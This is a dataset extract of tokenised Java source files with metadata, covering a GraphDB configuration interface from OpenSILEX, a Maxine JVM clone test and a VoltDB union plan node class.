2608,
51,
2555,
51,
4341,
51,
4411,
41079,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
4411,
9794,
638,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
17093,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
4411,
7496,
12936,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
40002,
64,
222,
485,
1105,
51,
121,
11385,
1567,
51,
314,
532,
51,
4270,
51,
6183,
51,
4756,
51,
123,
54,
51,
12292,
51,
883,
51,
106,
9864,
51,
112,
308,
3943,
51,
123,
55,
53,
54,
61,
53,
59,
53,
54,
51,
883,
51,
4658,
1558,
51,
106,
9864,
51,
9165,
120,
51,
112,
308,
3943,
51,
2105,
51,
123,
54,
51,
4778,
39593,
14332,
64,
499,
222,
1350,
222,
338,
350,
117,
67,
5445,
462,
456,
8231,
3386,
638,
8667,
847,
51,
222,
338,
1676,
338,
350,
117,
67,
1338,
2434,
5379,
10299,
15834,
341,
2816,
1813,
14561,
4824,
477,
462,
51,
222,
338,
1676,
338,
350,
1023,
67,
222,
338,
568,
2176,
64,
46990,
655,
366,
44951,
638,
432,
222,
338,
280,
568,
2176,
64,
11493,
1795,
67,
222,
338,
281,
568,
2176,
64,
33955,
1712,
15469,
544,
574,
1516,
51,
124,
56,
51,
1107,
52,
55,
53,
53,
54,
52,
29064,
130,
1831,
638,
432,
222,
338,
981,
568,
2176,
64,
7543,
67,
222,
338,
282,
568,
2176,
64,
2559,
655,
366,
2105,
39,
847,
15469,
544,
574,
1516,
51,
106,
9864,
51,
4658,
1558,
51,
883,
52,
9165,
120,
52,
112,
308,
3943,
52,
2105,
52,
123,
54,
130,
4778,
50,
39593,
14332,
3551,
222,
338,
981,
568,
2176,
6532,
7543,
67,
222,
338,
281,
568,
2176,
6532,
33955,
67,
222,
338,
280,
568,
2176,
6532,
11493,
1795,
67,
222,
338,
568,
2176,
6532,
46990,
67,
222,
338,
594,
1023,
67,
222,
338,
1676,
338,
1676,
588,
222,
69,
4411,
9794,
638,
45,
4411,
41079,
51,
6457,
46,
222,
69,
40002,
45,
444,
299,
332,
44951,
638,
411,
7030,
2888,
299,
320,
303,
332,
2105,
39,
222,
1770,
222,
69,
4411,
7496,
12936,
1389,
303,
1105,
51,
121,
11385,
1567,
51,
314,
532,
51,
4270,
51,
6183,
51,
4756,
51,
123,
54,
51,
12292,
51,
883,
51,
106,
9864,
51,
112,
308,
3943,
51,
123,
55,
53,
54,
61,
53,
59,
53,
54,
51,
883,
51,
4658,
1558,
51,
106,
9864,
51,
9165,
120,
51,
112,
308,
3943,
51,
3982,
51,
123,
54,
51,
27222,
51,
3357,
25457,
51,
11109,
3386,
51,
842,
222,
1770,
222,
942,
462,
26118,
3386,
638,
4584,
19182,
222,
128,
465,
964,
1175,
924,
1964,
19896,
299,
244,
55,
53,
54,
61,
53,
59,
53,
54,
81,
64,
303,
496,
17093,
45,
3662,
299,
878,
46,
303,
2532,
409,
13902,
22970,
14332,
9121,
64,
465,
1041,
294,
338,
7132,
341,
804,
451,
341,
9121,
2821,
51,
294,
338,
5402,
338,
496,
620,
294,
338,
281,
4222,
1319,
458,
294,
338,
281,
3105,
1222,
409,
13902,
22970,
14332,
339,
294,
338,
35399,
588,
303,
581,
409,
13902,
22970,
14332,
640,
25489,
365,
320,
310,
461,
9121,
64,
303,
339,
465,
1041,
294,
338,
9023,
341,
804,
451,
341,
9121,
2821,
51,
294,
338,
5402,
338,
496,
772,
804,
294,
338,
281,
6671,
1319,
458,
294,
338,
281,
3105,
1222,
409,
13902,
22970,
14332,
339,
294,
338,
35399,
588,
303,
581,
782,
758,
25489,
45,
4778,
39593,
14332,
804,
46,
320,
310,
477,
51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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 784
| true
| 64.628821
| true
| true
|
OntotextGraphDBConfig.java
|
/FileExtraction/Java_unseen/OpenSILEX_opensilex/opensilex-sparql/src/main/java/org/opensilex/sparql/rdf4j/graphdb/OntotextGraphDBConfig.java
|
package org.opensilex.sparql.rdf4j.graphdb;
import org.opensilex.config.ConfigDescription;
import org.opensilex.sparql.rdf4j.RDF4JConfig;
/**
* {@link RDF4JConfig} specific to the use of a graphdb triple store.
* Pay attention to your graphdb license, according to this, the repository configuration can be different
*
* @author rcolin
* @see <a href="https://graphdb.ontotext.com/documentation/9.11/free/configuring-a-repository.html#configuration-parameters">GraphDB free repository parameters </a>
* @see <a href="https://graphdb.ontotext.com/documentation/9.11/standard/configuring-a-repository.html#configuration-parameters">GraphDB standard repository parameters </a>
* @see <a href="https://graphdb.ontotext.com/documentation/9.11/enterprise/configuring-a-repository.html#configuration-parameters">GraphDB enterprise repository parameters </a>
*/
public interface OntotextGraphDBConfig extends RDF4JConfig {
String REPOSITORY_TYPE_TEMPLATE_PARAMETER = "repository-type";
String SAIL_TYPE_TEMPLATE_PARAMETER = "sail-type";
String QUERY_TIMEOUT_TEMPLATE_PARAMETER = "query-timeout";
String QUERY_LIMIT_RESULTS_TEMPLATE_PARAMETER = "query-limit-results";
@ConfigDescription(
value = "GraphDB repository type",
defaultString = "graphdb:FreeSailRepository"
)
String repositoryType();
@ConfigDescription(
value = "Type of Sail being configured (https://rdf4j.org/documentation/reference/configuration/)",
defaultString = "graphdb:FreeSail"
)
String sailType();
@ConfigDescription(
value = "Number of seconds after which the evaluation of a query will be terminated",
defaultInt = 60
)
int queryTimeout();
@ConfigDescription(
value = "Sets the maximum number of results returned from a query",
defaultInt = 100000
)
int queryLimitResult();
}
| 1,918
|
Java
|
.java
|
OpenSILEX/opensilex
| 11
| 8
| 78
|
2020-04-12T07:24:12Z
|
2024-05-03T09:04:55Z
|
ebc1e40f5eae3fbb3a44e0a57f20babb688cd2f77c5287fe20f18e9c04eaeea8
|
[
1337,
1105,
51,
11627,
433,
125,
51,
34874,
1383,
51,
18700,
57,
111,
51,
2275,
1219,
64,
222,
222,
485,
1105,
51,
11627,
433,
125,
51,
1180,
51,
1081,
3250,
64,
222,
485,
1105,
51,
11627,
433,
125,
51,
34874,
1383,
51,
18700,
57,
111,
51,
32650,
57,
79,
1081,
64,
222,
222,
1350,
222,
338,
3105,
1222,
32635,
57,
79,
1081,
130,
2835,
391,
341,
813,
451,
331,
4023,
1219,
37398,
2989,
51,
222,
338,
18415,
18906,
391,
1390,
4023,
1219,
3553,
49,
9299,
391,
477,
49,
341,
5347,
3505,
902,
545,
3473,
222,
338,
222,
338,
496,
2133,
559,
770,
285,
222,
338,
496,
2987,
350,
102,
995,
366,
662,
574,
2275,
1219,
51,
406,
385,
426,
51,
527,
52,
10283,
52,
62,
51,
54,
54,
52,
4010,
52,
49052,
50,
102,
50,
6335,
51,
935,
40,
5990,
50,
5173,
432,
3418,
2015,
3760,
5347,
3406,
594,
102,
67,
222,
338,
496,
2987,
350,
102,
995,
366,
662,
574,
2275,
1219,
51,
406,
385,
426,
51,
527,
52,
10283,
52,
62,
51,
54,
54,
52,
9165,
52,
49052,
50,
102,
50,
6335,
51,
935,
40,
5990,
50,
5173,
432,
3418,
2015,
6244,
5347,
3406,
594,
102,
67,
222,
338,
496,
2987,
350,
102,
995,
366,
662,
574,
2275,
1219,
51,
406,
385,
426,
51,
527,
52,
10283,
52,
62,
51,
54,
54,
52,
19269,
52,
49052,
50,
102,
50,
6335,
51,
935,
40,
5990,
50,
5173,
432,
3418,
2015,
34210,
5347,
3406,
594,
102,
67,
222,
588,
222,
942,
2586,
565,
585,
385,
426,
3418,
2015,
1081,
2041,
32635,
57,
79,
1081,
320,
465,
910,
3062,
42542,
100,
2333,
100,
17127,
100,
13302,
299,
332,
6335,
50,
700,
884,
303,
910,
377,
9619,
100,
2333,
100,
17127,
100,
13302,
299,
332,
120,
626,
50,
700,
884,
303,
910,
41381,
100,
14232,
100,
17127,
100,
13302,
299,
332,
1234,
50,
5470,
884,
303,
910,
41381,
100,
13689,
100,
23823,
100,
17127,
100,
13302,
299,
332,
1234,
50,
3262,
50,
4333,
884,
465,
496,
1081,
3250,
45,
343,
804,
299,
332,
3418,
2015,
5347,
847,
411,
343,
1263,
671,
299,
332,
2275,
1219,
63,
7023,
88,
626,
3231,
39,
303,
848,
303,
910,
5347,
638,
492,
465,
496,
1081,
3250,
45,
343,
804,
299,
332,
638,
451,
377,
626,
4019,
9576,
327,
662,
574,
18700,
57,
111,
51,
1107,
52,
10283,
52,
3592,
52,
5990,
4265,
411,
343,
1263,
671,
299,
332,
2275,
1219,
63,
7023,
88,
626,
39,
303,
848,
303,
910,
328,
626,
638,
492,
465,
496,
1081,
3250,
45,
343,
804,
299,
332,
1936,
451,
6810,
2703,
1532,
341,
11999,
451,
331,
2487,
1118,
545,
25476,
411,
343,
1263,
1438,
299,
244,
59,
53,
303,
848,
303,
648,
2487,
4291,
492,
465,
496,
1081,
3250,
45,
343,
804,
299,
332,
10532,
341,
7123,
1470,
451,
3300,
4731,
664,
331,
2487,
411,
343,
1263,
1438,
299,
244,
54,
53,
53,
53,
53,
53,
303,
848,
303,
648,
2487,
5829,
1413,
492,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 497
| true
| 71.063608
| true
| true
|
Object_clone01.java
|
/FileExtraction/Java_unseen/arodchen_MaxSim/maxine/com.oracle.max.tests/src/jtt/lang/Object_clone01.java
|
/*
* Copyright (c) 2007, 2012, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
/*
* @Harness: java
* @Runs: 0 = !java.lang.CloneNotSupportedException
*/
package jtt.lang;
public class Object_clone01 {
static final Object_clone01 field = new Object_clone01();
public static boolean test(int i) throws CloneNotSupportedException {
return field.tryClone(i);
}
private boolean tryClone(int i) throws CloneNotSupportedException {
return this == this.clone();
}
}
| 1,479
|
Java
|
.java
|
arodchen/MaxSim
| 26
| 9
| 1
|
2017-01-30T11:44:23Z
|
2017-06-19T16:38:56Z
|
e95f29ed07fb680d5986e778e5d21942fb02200b81221db9e94a956b3242d229
|
[
1127,
222,
338,
2657,
327,
104,
46,
244,
55,
53,
53,
60,
49,
244,
55,
53,
54,
55,
49,
17980,
480,
52,
290,
2840,
25094,
51,
3381,
4760,
5225,
51,
222,
338,
4103,
2387,
23740,
1895,
35234,
8995,
2387,
11988,
1895,
8968,
10961,
30441,
51,
222,
338,
222,
338,
1369,
1361,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
222,
338,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
1522,
244,
55,
1773,
49,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
51,
222,
338,
222,
338,
1369,
1361,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
4213,
222,
338,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
7934,
575,
222,
338,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
6994,
6153,
5062,
1196,
222,
338,
1522,
244,
55,
456,
1851,
4261,
327,
102,
1948,
458,
5976,
347,
341,
7621,
822,
708,
222,
338,
20854,
297,
4850,
477,
1361,
566,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
1522,
222,
338,
244,
55,
7979,
642,
477,
1409,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
7120,
49,
222,
338,
6367,
4345,
244,
58,
54,
34113,
1277,
49,
33316,
26912,
49,
25006,
49,
13083,
244,
53,
55,
54,
54,
53,
50,
54,
56,
53,
54,
15067,
51,
222,
338,
222,
338,
5304,
7272,
17980,
49,
244,
58,
53,
53,
17980,
27004,
3094,
49,
4777,
21100,
2432,
6868,
49,
10562,
244,
62,
57,
53,
59,
58,
15067,
222,
338,
575,
7739,
19955,
51,
11116,
51,
527,
434,
863,
1868,
5408,
2490,
575,
1178,
1364,
222,
338,
10034,
51,
222,
588,
222,
1127,
222,
338,
496,
24028,
63,
1401,
222,
338,
496,
28925,
63,
244,
53,
299,
673,
1874,
51,
1600,
51,
11533,
43069,
222,
588,
222,
1337,
614,
2269,
51,
1600,
64,
222,
222,
942,
462,
2210,
100,
6371,
53,
54,
320,
465,
924,
1175,
2210,
100,
6371,
53,
54,
1620,
299,
556,
2210,
100,
6371,
53,
54,
492,
465,
581,
924,
1922,
913,
45,
429,
613,
46,
2589,
14427,
43069,
320,
310,
461,
1620,
51,
1287,
11533,
45,
110,
312,
303,
339,
465,
964,
1922,
1614,
11533,
45,
429,
613,
46,
2589,
14427,
43069,
320,
310,
461,
477,
630,
477,
51,
6371,
492,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 389
| true
| 70.520622
| true
| true
|
UnionPlanNode.java
|
/FileExtraction/Java_unseen/VoltDB_voltdb/src/frontend/org/voltdb/plannodes/UnionPlanNode.java
|
/* This file is part of VoltDB.
* Copyright (C) 2008-2022 Volt Active Data Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with VoltDB. If not, see <http://www.gnu.org/licenses/>.
*/
package org.voltdb.plannodes;
import java.util.List;
import org.json_voltpatches.JSONException;
import org.json_voltpatches.JSONObject;
import org.json_voltpatches.JSONStringer;
import org.voltdb.catalog.Database;
import org.voltdb.exceptions.PlanningErrorException;
import org.voltdb.expressions.AbstractExpression;
import org.voltdb.planner.ParsedUnionStmt;
import org.voltdb.planner.ParsedUnionStmt.UnionType;
import org.voltdb.types.PlanNodeType;
import org.voltdb.types.SortDirectionType;
public class UnionPlanNode extends AbstractPlanNode {
public enum Members {
UNION_TYPE
}
// Union Type
private ParsedUnionStmt.UnionType m_unionType;
public UnionPlanNode() {
super();
m_unionType = ParsedUnionStmt.UnionType.NOUNION;
}
public UnionPlanNode(ParsedUnionStmt.UnionType unionType) {
super();
m_unionType = unionType;
}
@Override
public PlanNodeType getPlanNodeType() {
return PlanNodeType.UNION;
}
@Override
public void resolveColumnIndexes() {
// Should be at least two children in a union
assert(m_children.size() > 1);
for (AbstractPlanNode child : m_children) {
child.resolveColumnIndexes();
}
}
public ParsedUnionStmt.UnionType getUnionType() {
return m_unionType;
}
@Override
public void generateOutputSchema(Database db) {
// Should be at least two selects in a join
assert(m_children.size() > 1);
// The output schema for the union is the output schema from the first expression
m_children.get(0).generateOutputSchema(db);
m_outputSchema = m_children.get(0).getOutputSchema();
// Then generate schemas for the remaining ones and make sure that they are identical
for (int i = 1; i < m_children.size(); ++i) {
AbstractPlanNode child = m_children.get(i);
child.generateOutputSchema(db);
NodeSchema schema = child.getOutputSchema();
if (schema.size() != m_outputSchema.size()) {
throw new RuntimeException("Column number mismatch detected in rows of UNION");
}
for (int j = 0; j < m_outputSchema.size(); ++j) {
if (m_outputSchema.getColumn(j).getValueType() != schema.getColumn(j).getValueType()) {
throw new PlanningErrorException("Incompatible data types in UNION");
}
}
}
assert(! hasInlineVarcharOrVarbinary());
m_outputSchema = m_children.get(0).getOutputSchema();
m_hasSignificantOutputSchema = false; // It's just the first child's
// Then check that they have the same types
}
private boolean hasInlineVarcharOrVarbinary() {
for (AbstractPlanNode child : m_children) {
for (SchemaColumn scol : child.getOutputSchema()) {
if (AbstractExpression.hasInlineVarType(scol.getExpression())) {
return true;
}
}
}
return false;
}
@Override
public void toJSONString(JSONStringer stringer) throws JSONException {
super.toJSONString(stringer);
stringer.keySymbolValuePair(Members.UNION_TYPE.name(), m_unionType.name());
}
@Override
protected String explainPlanForNode(String indent) {
return "UNION " + m_unionType.name();
}
@Override
public void loadFromJSONObject( JSONObject jobj, Database db ) throws JSONException {
helpLoadFromJSONObject(jobj, db);
m_unionType = UnionType.valueOf(jobj.getString(Members.UNION_TYPE.name()));
}
@Override
public boolean isOutputOrdered (List<AbstractExpression> sortExpressions, List<SortDirectionType> sortDirections) {
return false;
}
@Override
public boolean isOrderDeterministic() {
return false;
}
}
| 4,667
|
Java
|
.java
|
VoltDB/voltdb
| 2,084
| 464
| 16
|
2011-09-23T18:46:12Z
|
2024-03-28T01:59:44Z
|
77febbd69e265c5b3ffbbe5c81a330d39c41c535f3d7a07a361f3ca027c413f3
|
[
1127,
1369,
822,
458,
1760,
451,
12393,
121,
2015,
51,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
53,
61,
50,
55,
53,
55,
55,
12393,
121,
8761,
2426,
6367,
51,
222,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
30994,
6153,
5062,
1196,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
222,
338,
1196,
49,
575,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
222,
338,
7979,
642,
12393,
121,
2015,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
222,
1337,
1105,
51,
3088,
39412,
51,
576,
1039,
33876,
64,
222,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
222,
485,
1105,
51,
1279,
100,
3088,
510,
19422,
51,
40458,
64,
222,
485,
1105,
51,
1279,
100,
3088,
510,
19422,
51,
15543,
64,
222,
485,
1105,
51,
1279,
100,
3088,
510,
19422,
51,
3275,
671,
284,
64,
222,
485,
1105,
51,
3088,
39412,
51,
10807,
51,
3969,
64,
222,
485,
1105,
51,
3088,
39412,
51,
11453,
51,
1839,
10141,
33817,
64,
222,
485,
1105,
51,
3088,
39412,
51,
23467,
51,
5597,
3503,
64,
222,
485,
1105,
51,
3088,
39412,
51,
33830,
51,
24207,
14187,
12431,
64,
222,
485,
1105,
51,
3088,
39412,
51,
33830,
51,
24207,
14187,
12431,
51,
14187,
638,
64,
222,
485,
1105,
51,
3088,
39412,
51,
2529,
51,
7932,
24558,
64,
222,
485,
1105,
51,
3088,
39412,
51,
2529,
51,
5217,
5235,
638,
64,
222,
222,
942,
462,
16546,
7932,
1230,
2041,
7406,
7932,
1230,
320,
465,
581,
3858,
25695,
320,
310,
23951,
100,
2333,
303,
339,
465,
453,
16546,
2782,
303,
964,
42213,
14187,
12431,
51,
14187,
638,
364,
100,
13311,
638,
64,
465,
581,
16546,
7932,
1230,
365,
320,
310,
2615,
492,
310,
364,
100,
13311,
638,
299,
42213,
14187,
12431,
51,
14187,
638,
51,
25541,
1034,
64,
303,
339,
465,
581,
16546,
7932,
1230,
45,
24207,
14187,
12431,
51,
14187,
638,
15227,
638,
46,
320,
310,
2615,
492,
310,
364,
100,
13311,
638,
299,
15227,
638,
64,
303,
339,
465,
496,
1806,
303,
581,
17006,
24558,
640,
7932,
24558,
365,
320,
310,
461,
17006,
24558,
51,
26043,
64,
303,
339,
465,
496,
1806,
303,
581,
782,
5895,
2154,
19383,
365,
320,
310,
453,
9056,
545,
840,
6247,
3161,
5727,
347,
331,
15227,
310,
1217,
45,
114,
100,
4931,
51,
911,
365,
868,
244,
54,
312,
310,
456,
327,
5597,
7932,
1230,
2851,
518,
364,
100,
4931,
46,
320,
343,
2851,
51,
5292,
2154,
19383,
492,
310,
339,
303,
339,
465,
581,
42213,
14187,
12431,
51,
14187,
638,
640,
14187,
638,
365,
320,
310,
461,
364,
100,
13311,
638,
64,
303,
339,
465,
496,
1806,
303,
581,
782,
4468,
2319,
3710,
45,
3969,
3100,
46,
320,
310,
453,
9056,
545,
840,
6247,
3161,
35390,
347,
331,
7163,
310,
1217,
45,
114,
100,
4931,
51,
911,
365,
868,
244,
54,
312,
310,
453,
906,
1716,
5379,
456,
341,
15227,
458,
341,
1716,
5379,
664,
341,
1950,
6112,
310,
364,
100,
4931,
51,
390,
45,
53,
566,
5555,
2319,
3710,
45,
1219,
312,
310,
364,
100,
2051,
3710,
299,
364,
100,
4931,
51,
390,
45,
53,
566,
35844,
3710,
492,
603,
453,
7794,
4468,
28431,
456,
341,
11479,
11703,
480,
1949,
3673,
708,
2974,
904,
21090,
310,
456,
327,
429,
613,
299,
244,
54,
64,
613,
350,
364,
100,
4931,
51,
911,
492,
3323,
110,
46,
320,
343,
7406,
7932,
1230,
2851,
299,
364,
100,
4931,
51,
390,
45,
110,
312,
343,
2851,
51,
5555,
2319,
3710,
45,
1219,
312,
343,
4021,
3710,
5379,
299,
2851,
51,
35844,
3710,
492,
343,
434,
327,
3982,
51,
911,
365,
882,
364,
100,
2051,
3710,
51,
911,
1177,
320,
419,
1440,
556,
13383,
459,
2154,
1470,
22367,
14117,
347,
5793,
451,
23951,
742,
343,
339,
343,
456,
327,
429,
614,
299,
244,
53,
64,
614,
350,
364,
100,
2051,
3710,
51,
911,
492,
3323,
111,
46,
320,
419,
434,
327,
114,
100,
2051,
3710,
51,
19226,
45,
111,
566,
6693,
638,
365,
882,
5379,
51,
19226,
45,
111,
566,
6693,
638,
1177,
320,
547,
1440,
556,
4075,
10141,
33817,
459,
402,
14600,
727,
3756,
347,
23951,
742,
419,
339,
343,
339,
310,
339,
603,
1217,
3848,
1421,
10148,
91,
1022,
301,
1543,
1901,
7038,
1052,
603,
364,
100,
2051,
3710,
299,
364,
100,
4931,
51,
390,
45,
53,
566,
35844,
3710,
492,
310,
364,
100,
2057,
3399,
12590,
2319,
3710,
299,
920,
64,
453,
2048,
1200,
2277,
341,
1950,
2851,
1200,
310,
453,
7794,
1524,
708,
2974,
1178,
341,
2454,
3756,
682,
339,
465,
964,
1922,
1421,
10148,
91,
1022,
301,
1543,
1901,
7038,
365,
320,
310,
456,
327,
5597,
7932,
1230,
2851,
518,
364,
100,
4931,
46,
320,
343,
456,
327,
3710,
2154,
328,
770,
518,
2851,
51,
35844,
3710,
1177,
320,
419,
434,
327,
5597,
3503,
51,
2057,
10148,
1901,
638,
45,
120,
770,
51,
49080,
5183,
320,
547,
461,
878,
64,
419,
339,
343,
339,
310,
339,
310,
461,
920,
64,
303,
339,
465,
496,
1806,
303,
581,
782,
43507,
671,
45,
3275,
671,
284,
821,
284,
46,
2589,
3411,
1002,
320,
310,
2615,
51,
25708,
671,
45,
819,
284,
312,
310,
821,
284,
51,
697,
6088,
14767,
45,
9651,
51,
26043,
100,
2333,
51,
444,
1046,
364,
100,
13311,
638,
51,
444,
1052,
303,
339,
465,
496,
1806,
303,
2532,
910,
14216,
7932,
1580,
1230,
45,
671,
10549,
46,
320,
310,
461,
332,
26043,
332,
494,
364,
100,
13311,
638,
51,
444,
492,
303,
339,
465,
496,
1806,
303,
581,
782,
2480,
1811,
15543,
45,
15439,
614,
2085,
49,
6728,
3100,
848,
2589,
3411,
1002,
320,
310,
3071,
3028,
1811,
15543,
45,
111,
2085,
49,
3100,
312,
310,
364,
100,
13311,
638,
299,
16546,
638,
51,
9169,
45,
111,
2085,
51,
7080,
45,
9651,
51,
26043,
100,
2333,
51,
444,
5086,
303,
339,
465,
496,
1806,
303,
581,
1922,
458,
2319,
20680,
327,
739,
65,
5597,
3503,
67,
3873,
18559,
49,
1701,
65,
5217,
5235,
638,
67,
3873,
37003,
46,
320,
310,
461,
920,
64,
303,
339,
465,
496,
1806,
303,
581,
1922,
458,
2888,
33949,
5440,
365,
320,
310,
461,
920,
64,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
